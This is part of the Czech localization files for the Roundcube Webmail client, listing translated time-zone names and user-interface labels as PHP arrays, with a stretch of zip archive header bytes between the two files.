$labels['tz:america:noronha'] = 'Noronha';
$labels['tz:america:north_dakota'] = 'Severní Dakota';
$labels['tz:america:north_dakota:beulah'] = 'Beulah';
$labels['tz:america:north_dakota:center'] = 'Center';
$labels['tz:america:north_dakota:new_salem'] = 'New Salem';
$labels['tz:america:ojinaga'] = 'Ojinaga';
$labels['tz:america:panama'] = 'Panama';
$labels['tz:america:pangnirtung'] = 'Pangnirtung';
$labels['tz:america:paramaribo'] = 'Paramaribo';
$labels['tz:america:phoenix'] = 'Phoenix';
$labels['tz:america:port-au-prince'] = 'Port-au-Prince';
$labels['tz:america:port_of_spain'] = 'Port of Spain';
$labels['tz:america:porto_velho'] = 'Porto Velho';
$labels['tz:america:puerto_rico'] = 'Puerto Rico';
$labels['tz:america:rainy_river'] = 'Rainy River';
$labels['tz:america:rankin_inlet'] = 'Rankin Inlet';
$labels['tz:america:recife'] = 'Recife';
$labels['tz:america:regina'] = 'Regina';
$labels['tz:america:resolute'] = 'Resolute';
$labels['tz:america:rio_branco'] = 'Rio Branco';
$labels['tz:america:santarem'] = 'Santarém';
$labels['tz:america:santiago'] = 'Santiago';
$labels['tz:america:santo_domingo'] = 'Santo Domingo';
$labels['tz:america:sao_paulo'] = 'Sao Paulo';
$labels['tz:america:scoresbysund'] = 'Scoresbysund';
$labels['tz:america:sitka'] = 'Sitka';
$labels['tz:america:st_barthelemy'] = 'Svatý Bartoloměj';
$labels['tz:america:st_johns'] = "Saint John's";
$labels['tz:america:st_kitts'] = 'Svatý Krištof';
$labels['tz:america:st_lucia'] = 'Svatá Lucie';
$labels['tz:america:st_thomas'] = 'Saint Thomas';
$labels['tz:america:st_vincent'] = 'Svatý Vincenc';
$labels['tz:america:swift_current'] = 'Swift Current';
$labels['tz:america:tegucigalpa'] = 'Tegucigalpa';
$labels['tz:america:thule'] = 'Thule';
$labels['tz:america:thunder_bay'] = 'Thunder Bay';
$labels['tz:america:tijuana'] = 'Tijuana';
$labels['tz:america:toronto'] = 'Toronto';
$labels['tz:america:tortola'] = 'Tortola';
$labels['tz:america:vancouver'] = 'Vancouver';
$labels['tz:america:whitehorse'] = 'Whitehorse';
$labels['tz:america:winnipeg'] = 'Winnipeg';
$labels['tz:america:yakutat'] = 'Yakutat';
$labels['tz:america:yellowknife'] = 'Yellowknife';
$labels['tz:antarctica'] = 'Antarktida';
$labels['tz:antarctica:casey'] = 'Casey';
$labels['tz:antarctica:davis'] = 'Davis';
$labels['tz:antarctica:dumontdurville'] = "Dumont d'Urville";
$labels['tz:antarctica:macquarie'] = 'Macquarie';
$labels['tz:antarctica:mawson'] = 'Mawson';
$labels['tz:antarctica:mcmurdo'] = 'McMurdo';
$labels['tz:antarctica:palmer'] = 'Palmer';
$labels['tz:antarctica:rothera'] = 'Rothera';
$labels['tz:antarctica:syowa'] = 'Syowa';
$labels['tz:antarctica:troll'] = 'Troll';
$labels['tz:antarctica:vostok'] = 'Vostok';
$labels['tz:arctic'] = 'Arctic';
$labels['tz:arctic:longyearbyen'] = 'Longyearbyen';
$labels['tz:asia'] = 'Asie';
$labels['tz:asia:aden'] = 'Aden';
$labels['tz:asia:almaty'] = 'Almaty';
$labels['tz:asia:amman'] = 'Ammán';
$labels['tz:asia:anadyr'] = 'Anadyr';
$labels['tz:asia:aqtau'] = 'Aqtau';
$labels['tz:asia:aqtobe'] = 'Aqtobe';
$labels['tz:asia:ashgabat'] = 'Ashgabat';
$labels['tz:asia:atyrau'] = 'Atyrau';
$labels['tz:asia:baghdad'] = 'Bagdád';
$labels['tz:asia:bahrain'] = 'Bahrajn';
$labels['tz:asia:baku'] = 'Baku';
$labels['tz:asia:bangkok'] = 'Bangkok';
$labels['tz:asia:barnaul'] = 'Barnaul';
$labels['tz:asia:beirut'] = 'Bejrút';
$labels['tz:asia:bishkek'] = 'Biškek';
$labels['tz:asia:brunei'] = 'Brunej';
$labels['tz:asia:chita'] = 'Čita';
$labels['tz:asia:choibalsan'] = 'Choibalsan';
$labels['tz:asia:colombo'] = 'Kolombo';
$labels['tz:asia:damascus'] = 'Damašek';
$labels['tz:asia:dhaka'] = 'Dháka';
$labels['tz:asia:dili'] = 'Dili';
$labels['tz:asia:dubai'] = 'Dubaj';
$labels['tz:asia:dushanbe'] = 'Dušanbe';
$labels['tz:asia:famagusta'] = 'Famagusta';
$labels['tz:asia:gaza'] = 'Gaza';
$labels['tz:asia:hebron'] = 'Hebron';
$labels['tz:asia:ho_chi_minh'] = 'Ho Či Minovo Město';
$labels['tz:asia:hong_kong'] = 'Hong Kong';
$labels['tz:asia:hovd'] = 'Hovd';
$labels['tz:asia:irkutsk'] = 'Irkutsk';
$labels['tz:asia:jakarta'] = 'Jakarta';
$labels['tz:asia:jayapura'] = 'Jayapura';
$labels['tz:asia:jerusalem'] = 'Jeruzalém';
$labels['tz:asia:kabul'] = 'Kábul';
$labels['tz:asia:kamchatka'] = 'Kamčatka';
$labels['tz:asia:karachi'] = 'Karáči';
$labels['tz:asia:kathmandu'] = 'Káthmandu';
$labels['tz:asia:khandyga'] = 'Khandyga';
$labels['tz:asia:kolkata'] = 'Kalkata';
$labels['tz:asia:krasnoyarsk'] = 'Krasnojarsk';
$labels['tz:asia:kuala_lumpur'] = 'Kuala Lumpur';
$labels['tz:asia:kuching'] = 'Kuching';
$labels['tz:asia:kuwait'] = 'Kuvajt';
$labels['tz:asia:macau'] = 'Macau';
$labels['tz:asia:magadan'] = 'Magadan';
$labels['tz:asia:makassar'] = 'Makassar';
$labels['tz:asia:manila'] = 'Manila';
$labels['tz:asia:muscat'] = 'Maskat';
$labels['tz:asia:nicosia'] = 'Nikósie';
$labels['tz:asia:novokuznetsk'] = 'Novokuzneck';
$labels['tz:asia:novosibirsk'] = 'Novosibirsk';
$labels['tz:asia:omsk'] = 'Omsk';
$labels['tz:asia:oral'] = 'Oral';
$labels['tz:asia:phnom_penh'] = 'Phnom Penh';
$labels['tz:asia:pontianak'] = 'Pontianak';
$labels['tz:asia:pyongyang'] = 'Pchjongjang';
$labels['tz:asia:qatar'] = 'Katar';
$labels['tz:asia:qyzylorda'] = 'Qyzylorda';
$labels['tz:asia:riyadh'] = 'Rijád';
$labels['tz:asia:sakhalin'] = 'Sachalin';
$labels['tz:asia:samarkand'] = 'Samarkand';
$labels['tz:asia:seoul'] = 'Soul';
$labels['tz:asia:shanghai'] = 'Šanghaj';
$labels['tz:asia:singapore'] = 'Singapur';
$labels['tz:asia:srednekolymsk'] = 'Srednekolymsk';
$labels['tz:asia:taipei'] = 'Tchaj-pej';
$labels['tz:asia:tashkent'] = 'Taškent';
$labels['tz:asia:tbilisi'] = 'Tbilisi';
$labels['tz:asia:tehran'] = 'Teherán';
$labels['tz:asia:thimphu'] = 'Thimphu';
$labels['tz:asia:tokyo'] = 'Tokio';
$labels['tz:asia:tomsk'] = 'Tomsk';
$labels['tz:asia:ulaanbaatar'] = 'Ulanbátar';
$labels['tz:asia:urumqi'] = 'Urumqi';
$labels['tz:asia:ust-nera'] = 'Ust-Nera';
$labels['tz:asia:vientiane'] = 'Vientian';
$labels['tz:asia:vladivostok'] = 'Vladivostok';
$labels['tz:asia:yakutsk'] = 'Jakutsk';
$labels['tz:asia:yangon'] = 'Rangún';
$labels['tz:asia:yekaterinburg'] = 'Jekatěrinburg';
$labels['tz:asia:yerevan'] = 'Jerevan';
$labels['tz:atlantic'] = 'Atlantik';
$labels['tz:atlantic:azores'] = 'Azory';
$labels['tz:atlantic:bermuda'] = 'Bermudy';
$labels['tz:atlantic:canary'] = 'Kanárské ostrovy';
$labels['tz:atlantic:cape_verde'] = 'Kapverdy';
$labels['tz:atlantic:faroe'] = 'Faerské ostrovy';
$labels['tz:atlantic:madeira'] = 'Madeira';
$labels['tz:atlantic:reykjavik'] = 'Reykjavík';
$labels['tz:atlantic:south_georgia'] = 'Jižní Georgie';
$labels['tz:atlantic:st_helena'] = 'Sv. Helena';
$labels['tz:atlantic:stanley'] = 'Stanley';
$labels['tz:australia'] = 'Austrálie';
$labels['tz:australia:adelaide'] = 'Adelaide';
$labels['tz:australia:brisbane'] = 'Brisbane';
$labels['tz:australia:broken_hill'] = 'Broken Hill';
$labels['tz:australia:currie'] = 'Currie';
$labels['tz:australia:darwin'] = 'Darwin';
$labels['tz:australia:eucla'] = 'Eucla';
$labels['tz:australia:hobart'] = 'Hobart';
$labels['tz:australia:lindeman'] = 'Lindeman';
$labels['tz:australia:lord_howe'] = 'Lord Howe';
$labels['tz:australia:melbourne'] = 'Melbourne';
$labels['tz:australia:perth'] = 'Perth';
$labels['tz:australia:sydney'] = 'Sydney';
$labels['tz:europe'] = 'Evropa';
$labels['tz:europe:amsterdam'] = 'Amsterdam';
$labels['tz:europe:andorra'] = 'Andorra';
$labels['tz:europe:astrakhan'] = 'Astrachán';
$labels['tz:europe:athens'] = 'Atény';
$labels['tz:europe:belgrade'] = 'Bělehrad';
$labels['tz:europe:berlin'] = 'Berlín';
$labels['tz:europe:bratislava'] = 'Bratislava';
$labels['tz:europe:brussels'] = 'Brusel';
$labels['tz:europe:bucharest'] = 'Bukurešť';
$labels['tz:europe:budapest'] = 'Budapešť';
$labels['tz:europe:busingen'] = 'Busingen';
$labels['tz:europe:chisinau'] = 'Kišiňov';
$labels['tz:europe:copenhagen'] = 'Kodaň';
$labels['tz:europe:dublin'] = 'Dublin';
$labels['tz:europe:gibraltar'] = 'Gibraltar';
$labels['tz:europe:guernsey'] = 'Guernsey';
$labels['tz:europe:helsinki'] = 'Helsinki';
$labels['tz:europe:isle_of_man'] = 'Ostrov Man';
$labels['tz:europe:istanbul'] = 'Istanbul';
$labels['tz:europe:jersey'] = 'Jersey';
$labels['tz:europe:kaliningrad'] = 'Kaliningrad';
$labels['tz:europe:kiev'] = 'Kyjev';
$labels['tz:europe:kirov'] = 'Kirov';
$labels['tz:europe:lisbon'] = 'Lisabon';
$labels['tz:europe:ljubljana'] = 'Lublaň';
$labels['tz:europe:london'] = 'Londýn';
$labels['tz:europe:luxembourg'] = 'Luxemburg';
$labels['tz:europe:madrid'] = 'Madrid';
$labels['tz:europe:malta'] = 'Malta';
$labels['tz:europe:mariehamn'] = 'Mariehamn';
$labels['tz:europe:minsk'] = 'Minsk';
$labels['tz:europe:monaco'] = 'Monako';
$labels['tz:europe:moscow'] = 'Moskva';
$labels['tz:europe:oslo'] = 'Oslo';
$labels['tz:europe:paris'] = 'Paříž';
$labels['tz:europe:podgorica'] = 'Podgorica';
$labels['tz:europe:prague'] = 'Praha';
$labels['tz:europe:riga'] = 'Riga';
$labels['tz:europe:rome'] = 'Řím';
$labels['tz:europe:samara'] = 'Samara';
$labels['tz:europe:san_marino'] = 'San Marino';
$labels['tz:europe:sarajevo'] = 'Sarajevo';
$labels['tz:europe:saratov'] = 'Saratov';
$labels['tz:europe:simferopol'] = 'Simferopol';
$labels['tz:europe:skopje'] = 'Skopje';
$labels['tz:europe:sofia'] = 'Sofia';
$labels['tz:europe:stockholm'] = 'Stokholm';
$labels['tz:europe:tallinn'] = 'Tallinn';
$labels['tz:europe:tirane'] = 'Tirana';
$labels['tz:europe:ulyanovsk'] = 'Uljanovsk';
$labels['tz:europe:uzhgorod'] = 'Užhorod';
$labels['tz:europe:vaduz'] = 'Vaduz';
$labels['tz:europe:vatican'] = 'Vatikán';
$labels['tz:europe:vienna'] = 'Vídeň';
$labels['tz:europe:vilnius'] = 'Vilnius';
$labels['tz:europe:volgograd'] = 'Volgograd';
$labels['tz:europe:warsaw'] = 'Varšava';
$labels['tz:europe:zagreb'] = 'Záhřeb';
$labels['tz:europe:zaporozhye'] = 'Záporoží';
$labels['tz:europe:zurich'] = 'Curych';
$labels['tz:indian'] = 'Indický oceán';
$labels['tz:indian:antananarivo'] = 'Antananarivo';
$labels['tz:indian:chagos'] = 'Čagoské ostrovy';
$labels['tz:indian:christmas'] = 'Vánoční ostrov';
$labels['tz:indian:cocos'] = 'Kokosový ostrov';
$labels['tz:indian:comoro'] = 'Komory';
$labels['tz:indian:kerguelen'] = 'Kergueleny';
$labels['tz:indian:mahe'] = 'Mahé';
$labels['tz:indian:maldives'] = 'Maledivy';
$labels['tz:indian:mauritius'] = 'Maurícius';
$labels['tz:indian:mayotte'] = 'Mayotte';
$labels['tz:indian:reunion'] = 'Réunion';
$labels['tz:pacific'] = 'Tichomoří';
$labels['tz:pacific:apia'] = 'Apia';
$labels['tz:pacific:auckland'] = 'Auckland';
$labels['tz:pacific:bougainville'] = 'Bougainville';
$labels['tz:pacific:chatham'] = 'Chatham';
$labels['tz:pacific:chuuk'] = 'Chuuk';
$labels['tz:pacific:easter'] = 'Velikonoční ostrov';
$labels['tz:pacific:efate'] = 'Efate';
$labels['tz:pacific:enderbury'] = 'Enderbury';
$labels['tz:pacific:fakaofo'] = 'Fakaofo';
$labels['tz:pacific:fiji'] = 'Fidži';
$labels['tz:pacific:funafuti'] = 'Funafuti';
$labels['tz:pacific:galapagos'] = 'Galapágy';
$labels['tz:pacific:gambier'] = 'Gambier';
$labels['tz:pacific:guadalcanal'] = 'Guadalcanal';
$labels['tz:pacific:guam'] = 'Guam';
$labels['tz:pacific:honolulu'] = 'Honolulu';
$labels['tz:pacific:johnston'] = 'Johnston';
$labels['tz:pacific:kiritimati'] = 'Kiritimati';
$labels['tz:pacific:kosrae'] = 'Kosrae';
$labels['tz:pacific:kwajalein'] = 'Kwajalein';
$labels['tz:pacific:majuro'] = 'Majuro';
$labels['tz:pacific:marquesas'] = 'Marquesas';
$labels['tz:pacific:midway'] = 'Midway';
$labels['tz:pacific:nauru'] = 'Nauru';
$labels['tz:pacific:niue'] = 'Niue';
$labels['tz:pacific:norfolk'] = 'Norfolk';
$labels['tz:pacific:noumea'] = 'Noumea';
$labels['tz:pacific:pago_pago'] = 'Pago Pago';
$labels['tz:pacific:palau'] = 'Palau';
$labels['tz:pacific:pitcairn'] = 'Pitcairn';
$labels['tz:pacific:pohnpei'] = 'Pohnpei';
$labels['tz:pacific:port_moresby'] = 'Port Moresby';
$labels['tz:pacific:rarotonga'] = 'Rarotonga';
$labels['tz:pacific:saipan'] = 'Saipan';
$labels['tz:pacific:tahiti'] = 'Tahiti';
$labels['tz:pacific:tarawa'] = 'Tarawa';
$labels['tz:pacific:tongatapu'] = 'Tongatapu';
$labels['tz:pacific:wake'] = 'Wake';
$labels['tz:pacific:wallis'] = 'Wallis';
PK
h�\K������%program/localization/cs_CZ/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Vítejte v $product';
$labels['username'] = 'Uživatel';
$labels['password'] = 'Heslo';
$labels['server'] = 'Server';
$labels['login'] = 'Přihlásit';
$labels['oauthlogin'] = 'Přihlášení přes $provider';
$labels['menu'] = 'Menu';
$labels['logout'] = 'Odhlásit';
$labels['mail'] = 'E-mail';
$labels['settings'] = 'Nastavení';
$labels['addressbook'] = 'Adresář';
$labels['darkmode'] = 'Tmavý režim';
$labels['lightmode'] = 'Světlý režim';
$labels['inbox'] = 'Příchozí pošta';
$labels['drafts'] = 'Rozepsané';
$labels['sent'] = 'Odeslané';
$labels['trash'] = 'Koš';
$labels['junk'] = 'Spam';
$labels['show_real_foldernames'] = 'Zobrazit skutečná jména speciálních složek';
$labels['subject'] = 'Předmět';
$labels['from'] = 'Odesílatel';
$labels['sender'] = 'Odesílatel';
$labels['to'] = 'Adresát';
$labels['cc'] = 'Kopie';
$labels['bcc'] = 'Skrytá kopie';
$labels['replyto'] = 'Odpověď na';
$labels['followupto'] = 'Followup-To';
$labels['date'] = 'Datum';
$labels['size'] = 'Velikost';
$labels['priority'] = 'Priorita';
$labels['organization'] = 'Organizace';
$labels['readstatus'] = 'Přečteno';
$labels['listoptions'] = 'Seznam  možností...';
$labels['listoptionstitle'] = 'Možnosti seznamu';
$labels['mailboxlist'] = 'Složky';
$labels['messagesfromto'] = 'Zprávy $from až $to z celkem $count';
$labels['threadsfromto'] = 'Konverzace $from až $to z celkem $count';
$labels['messagenrof'] = 'Zpráva $nr z $count';
$labels['fromtoshort'] = '$from - $to z $count';
$labels['copy'] = 'Kopírovat';
$labels['move'] = 'Přesunout';
$labels['moveto'] = 'Přesunout do...';
$labels['copyto'] = 'Kopírovat do...';
$labels['download'] = 'Stáhnout';
$labels['open'] = 'Otevřít';
$labels['showattachment'] = 'Zobrazit';
$labels['showanyway'] = 'Přesto zobrazit';
$labels['filename'] = 'Jméno přílohy';
$labels['filesize'] = 'Velikost přílohy';
$labels['addtoaddressbook'] = 'Přidat do adresáře';
$labels['sun'] = 'Ne';
$labels['mon'] = 'Po';
$labels['tue'] = 'Út';
$labels['wed'] = 'St';
$labels['thu'] = 'Čt';
$labels['fri'] = 'Pá';
$labels['sat'] = 'So';
$labels['sunday'] = 'Neděle';
$labels['monday'] = 'Pondělí';
$labels['tuesday'] = 'Úterý';
$labels['wednesday'] = 'Středa';
$labels['thursday'] = 'Čtvrtek';
$labels['friday'] = 'Pátek';
$labels['saturday'] = 'Sobota';
$labels['jan'] = 'led';
$labels['feb'] = 'úno';
$labels['mar'] = 'bře';
$labels['apr'] = 'dub';
$labels['may'] = 'kvě';
$labels['jun'] = 'čvn';
$labels['jul'] = 'čvc';
$labels['aug'] = 'srp';
$labels['sep'] = 'zář';
$labels['oct'] = 'říj';
$labels['nov'] = 'lis';
$labels['dec'] = 'pro';
$labels['longjan'] = 'Leden';
$labels['longfeb'] = 'Únor';
$labels['longmar'] = 'Březen';
$labels['longapr'] = 'Duben';
$labels['longmay'] = 'Květen';
$labels['longjun'] = 'Červen';
$labels['longjul'] = 'Červenec';
$labels['longaug'] = 'Srpen';
$labels['longsep'] = 'Září';
$labels['longoct'] = 'Říjen';
$labels['longnov'] = 'Listopad';
$labels['longdec'] = 'Prosinec';
$labels['today'] = 'Dnes';
$labels['refresh'] = 'Obnovit';
$labels['checkmail'] = 'Zkontrolovat nové zprávy';
$labels['compose'] = 'Napsat';
$labels['writenewmessage'] = 'Vytvořit novou zprávu';
$labels['reply'] = 'Odpovědět';
$labels['replytomessage'] = 'Odpovědět odesílateli';
$labels['replytoallmessage'] = 'Odpovědět všem';
$labels['replyall'] = 'Odpovědět všem';
$labels['replylist'] = 'Odpovědět do e-mailové konference';
$labels['forward'] = 'Přeposlat';
$labels['forwardinline'] = 'Přeposlat v textu';
$labels['forwardattachment'] = 'Přeposlat jako přílohu';
$labels['forwardmessage'] = 'Předat zprávu';
$labels['bouncemsg'] = 'Přeposlat (bounce)';
$labels['bounce'] = 'Přeposlat';
$labels['deletemessage'] = 'Odstranit zprávu';
$labels['movemessagetotrash'] = 'Přesunout zprávu do koše';
$labels['printmessage'] = 'Vytisknout zprávu';
$labels['previousmessage'] = 'Zobrazit předchozí zprávu';
$labels['firstmessage'] = 'Zobrazit první zprávu';
$labels['nextmessage'] = 'Zobrazit další zprávu';
$labels['lastmessage'] = 'Zobrazit poslední zprávu';
$labels['backtolist'] = 'Zpět do seznamu zpráv';
$labels['viewsource'] = 'Zobrazit zdroj';
$labels['mark'] = 'Označit';
$labels['markmessages'] = 'Označ zprávy';
$labels['markread'] = 'Jako přečtené';
$labels['markunread'] = 'Jako nepřečtené';
$labels['markflagged'] = 'Jako označené';
$labels['markunflagged'] = 'Jako neoznačené';
$labels['markundeleted'] = 'Jako nesmazané';
$labels['moreactions'] = 'Další akce...';
$labels['markallread'] = 'Označit vše jako přečtené';
$labels['folders-cur'] = 'Vybrat pouze složku';
$labels['folders-sub'] = 'Vybrat složku a její podsložky';
$labels['folders-all'] = 'Všechny složky';
$labels['more'] = 'Více';
$labels['back'] = 'Zpět';
$labels['options'] = 'Možnosti';
$labels['composeoptions'] = 'Možnosti psaní';
$labels['optionsandattachments'] = 'Nastavení a přílohy';
$labels['actions'] = 'Akce';
$labels['first'] = 'První';
$labels['last'] = 'Poslední';
$labels['previous'] = 'Předchozí';
$labels['next'] = 'Následující';
$labels['select'] = 'Vybrat';
$labels['selection'] = 'Výběr';
$labels['all'] = 'Vše';
$labels['none'] = 'Nic';
$labels['currpage'] = 'Aktuální stránka';
$labels['isread'] = 'Přečtené';
$labels['unread'] = 'Nepřečtené';
$labels['flagged'] = 'Označené';
$labels['unflagged'] = 'Neoznačené';
$labels['unanswered'] = 'Nezodpovězené';
$labels['withattachment'] = 'S přílohou';
$labels['deleted'] = 'Smazané';
$labels['undeleted'] = 'Nesmazáno';
$labels['replied'] = 'Odpovězeno';
$labels['forwarded'] = 'Přeposláno';
$labels['invert'] = 'Převrátit';
$labels['filter'] = 'Filtr';
$labels['list'] = 'Seznam';
$labels['threads'] = 'Konverzace';
$labels['expand-all'] = 'Rozbalit všechny';
$labels['expand-unread'] = 'Rozbalit nepřečtené';
$labels['collapse-all'] = 'Sbalit všechny';
$labels['threaded'] = 'Spojovat do konverzací';
$labels['showunread'] = 'Zobrazit nepřečtené zprávy';
$labels['autoexpand_threads'] = 'Rozbalit konverzace';
$labels['do_expand'] = 'všechny konverzace';
$labels['expand_only_unread'] = 'pouze s nepřečtenými zprávami';
$labels['fromto'] = 'Odesílatel/Příjemce';
$labels['flag'] = 'Příznak';
$labels['attachment'] = 'Příloha';
$labels['nonesort'] = 'Nic';
$labels['sentdate'] = 'Datum odeslání';
$labels['arrival'] = 'Datum přijetí';
$labels['asc'] = 'vzestupně';
$labels['desc'] = 'sestupně';
$labels['listcolumns'] = 'Seznam sloupců';
$labels['listsorting'] = 'Třídění sloupců';
$labels['listorder'] = 'Uspořádání';
$labels['listmode'] = 'Režim zobrazení seznamu';
$labels['lmode'] = 'Podoba výpisu';
$labels['layout'] = 'Rozvržení';
$labels['layoutwidescreen'] = 'Widescreen';
$labels['layoutdesktop'] = 'Desktop';
$labels['layoutlist'] = 'Seznam';
$labels['layoutwidescreendesc'] = 'Widescreen (3 sloupce)';
$labels['layoutdesktopdesc'] = 'Desktop (seznam + náhled)';
$labels['layoutlistdesc'] = 'Seznam (bez náhledu)';
$labels['folderactions'] = 'Akce se složkou...';
$labels['compact'] = 'Zmenšit';
$labels['empty'] = 'Vyprázdnit';
$labels['importmessages'] = 'Import zpráv';
$labels['mailimportdesc'] = 'E-mail můžete nahrát pomocí souborů ve formátu <a href="https://en.wikipedia.org/wiki/Email#Message_format">MIME</a> a <a href="https://en.wikipedia.org/wiki/Mbox">Mbox</a>.';
$labels['mailimportzip'] = 'Více souborů může být zkomprimováno do ZIP archivu.';
$labels['quota'] = 'Využití schránky';
$labels['unknown'] = 'neznámý';
$labels['unlimited'] = 'neomezený';
$labels['quotatype'] = 'Typ kvóty';
$labels['quotatotal'] = 'Limit';
$labels['quotaused'] = 'Využito';
$labels['quotastorage'] = 'Využití schránky';
$labels['quotamessage'] = 'Počet zpráv';
$labels['shortheaderdate'] = 'Dne $date';
$labels['shortheaderto'] = 'Pro $to dne $date';
$labels['shortheaderfrom'] = 'Od $from dne $date';
$labels['quicksearch'] = 'Rychlé vyhledávání';
$labels['searchplaceholder'] = 'Hledat...';
$labels['resetsearch'] = 'Zrušit vyhledávání';
$labels['searchmod'] = 'Parametry hledání';
$labels['msgtext'] = 'Celá zpráva';
$labels['body'] = 'Tělo';
$labels['type'] = 'Typ';
$labels['namex'] = 'Jméno';
$labels['searchscope'] = 'Rozsah';
$labels['currentfolder'] = 'Aktuální složka';
$labels['subfolders'] = 'Tato a podsložky';
$labels['allfolders'] = 'Všechny složky';
$labels['searchinterval-1W'] = 'starší než týden';
$labels['searchinterval-1M'] = 'starší než měsíc';
$labels['searchinterval-1Y'] = 'starší než rok';
$labels['searchinterval1W'] = 'novější než týden';
$labels['searchinterval1M'] = 'novější než měsíc';
$labels['searchinterval1Y'] = 'novější než rok';
$labels['openinextwin'] = 'Otevřít v novém okně';
$labels['emlsave'] = 'Stáhnout (.eml)';
$labels['changeformattext'] = 'Zobrazit v textovém formátu';
$labels['changeformathtml'] = 'Zobrazit v HTML formátu';
$labels['editasnew'] = 'Upravit jako novou';
$labels['send'] = 'Odeslat';
$labels['sendmessage'] = 'Odeslat zprávu nyní';
$labels['savemessage'] = 'Uložit do rozepsaných';
$labels['addattachment'] = 'Přidat přílohu';
$labels['charset'] = 'Znaková sada';
$labels['editortype'] = 'Typ editoru zpráv';
$labels['returnreceipt'] = 'Doručenka';
$labels['dsn'] = 'Stav doručení';
$labels['keepformatting'] = 'Zachovat formátování';
$labels['mailreplyintro'] = 'Dne $date, $sender napsal:';
$labels['originalmessage'] = 'Původní zpráva';
$labels['selectimage'] = 'Vybrat obrázek';
$labels['addimage'] = 'Přidat obrázek';
$labels['selectmedia'] = 'Vybrat video';
$labels['addmedia'] = 'Přidat video';
$labels['encrypt'] = 'Šifrovat';
$labels['encryptmessage'] = 'Šifrovat zprávu';
$labels['encryptmessagemailvelope'] = 'Šifrovat zprávu pomocí Mailvelope';
$labels['importpubkeys'] = 'Import veřejných klíčů';
$labels['encryptedsendialog'] = 'Odesílání šifrované zprávy';
$labels['encryptandsign'] = 'Šifrovat a podepsat';
$labels['keyid'] = 'ID klíče';
$labels['keylength'] = 'Bitů';
$labels['keyexpired'] = 'Vypršelý';
$labels['keyrevoked'] = 'Odvolaný';
$labels['bccinstead'] = 'Použít skrytou kopii';
$labels['addheader'] = 'Přidat příjemce (hlavička)';
$labels['insert'] = 'Vložit';
$labels['insertcontact'] = 'Vložit kontakty';
$labels['recipient'] = 'Příjemce';
$labels['recipientedit'] = 'Úprava příjemce';
$labels['editidents'] = 'Upravit identity';
$labels['spellcheck'] = 'Pravopis';
$labels['checkspelling'] = 'Zkontrolovat pravopis';
$labels['resumeediting'] = 'Pokračovat v úpravách';
$labels['revertto'] = 'Přejít na';
$labels['restore'] = 'Obnovit';
$labels['restoremessage'] = 'Obnovit zprávu?';
$labels['ignore'] = 'Ignorovat';
$labels['responses'] = 'Odpovědi';
$labels['insertresponse'] = 'Vložit odpověd';
$labels['manageresponses'] = 'Spravovat odpovědi';
$labels['newresponse'] = 'Vytvořit novou odpověď';
$labels['addresponse'] = 'Přidat odpověď';
$labels['editresponse'] = 'Upravit odpověď';
$labels['editresponses'] = 'Upravit odpovědi';
$labels['responsename'] = 'Název';
$labels['responsetext'] = 'Text odpovědi';
$labels['attach'] = 'Přiložit';
$labels['attachments'] = 'Přílohy';
$labels['upload'] = 'Nahrát';
$labels['uploadprogress'] = '$percent ($current z $total)';
$labels['close'] = 'Zavřít';
$labels['messageoptions'] = 'Nastavení zprávy...';
$labels['togglecomposeoptions'] = 'Přepnout možnosti kompozice';
$labels['attachmentrename'] = 'Přejmenovat přílohu';
$labels['low'] = 'Nízká';
$labels['lowest'] = 'Nejnižší';
$labels['normal'] = 'Normální';
$labels['high'] = 'Vysoká';
$labels['highest'] = 'Nejvyšší';
$labels['nosubject'] = '(bez předmětu)';
$labels['showimages'] = 'Zobrazit obrázky';
$labels['allow'] = 'Povolit';
$labels['alwaysshow'] = 'Vždy ukazovat obrázky od $sender';
$labels['alwaysallow'] = 'Vždy povolit od $sender';
$labels['isdraft'] = 'Toto je šablona zprávy.';
$labels['andnmore'] = '$nr dalších...';
$labels['details'] = 'Podrobnosti';
$labels['summary'] = 'Shrnutí';
$labels['headers'] = 'Hlavičky';
$labels['allheaders'] = 'Všechny hlavičky...';
$labels['togglemoreheaders'] = 'Zobrazit více hlaviček zprávy';
$labels['togglefullheaders'] = 'Přepnout skutečné hlavičky zprávy';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'Prostý text';
$labels['savesentmessagein'] = 'Ukládat odeslané zprávy v';
$labels['dontsave'] = 'neukládat';
$labels['maxuploadsize'] = 'Maximální povolená velikost souboru je $size';
$labels['addcc'] = 'Přidat pole "Kopie"';
$labels['addbcc'] = 'Přidat pole "Skrytá kopie"';
$labels['addreplyto'] = 'Přidat pole "Odpověď"';
$labels['addfollowupto'] = 'Přidat pole "Followup-To"';
$labels['sendreceipt'] = 'Odeslat potvrzení o přečtení?';
$labels['mdnrequest'] = 'Odesílatel této zprávy si přeje být upozorněn na to, že jste zprávu obdrželi. Chcete přijetí zprávy potvrdit?';
$labels['receiptread'] = 'Potvrzení o přijetí zprávy';
$labels['yourmessage'] = 'Toto je potvrzení o přijetí Vaší zprávy';
$labels['receiptnote'] = 'Poznámka: Toto potvrzení negarantuje, že zpráva byla příjemce přečtena a že porozuměl jejímu obsahu.';
$labels['sendalwaysto'] = 'Vždy odeslat na $email';
$labels['zoomin'] = 'Přiblížit';
$labels['zoomout'] = 'Oddálit';
$labels['rotate'] = 'Otočit';
$labels['increaseimage'] = 'Zvětšit rozměr obrázku';
$labels['decreaseimage'] = 'Zmenšit rozměr obrázku';
$labels['rotateimage'] = 'Otočit obrázek';
$labels['showtools'] = 'Zobrazit nástroje pro obrázky';
$labels['hidetools'] = 'Skrýt nástroje pro obrázky';
$labels['name'] = 'Zobrazit jméno';
$labels['firstname'] = 'Jméno';
$labels['surname'] = 'Příjmení';
$labels['middlename'] = 'Druhé jméno';
$labels['nameprefix'] = 'Titul před';
$labels['namesuffix'] = 'Titul za';
$labels['nickname'] = 'Přezdívka';
$labels['jobtitle'] = 'Pracovní pozice';
$labels['department'] = 'Oddělení';
$labels['gender'] = 'Pohlaví';
$labels['maidenname'] = 'Rodné příjmení';
$labels['email'] = 'E-mail';
$labels['phone'] = 'Telefon';
$labels['address'] = 'Adresa';
$labels['street'] = 'Ulice';
$labels['locality'] = 'Město';
$labels['zipcode'] = 'PSČ';
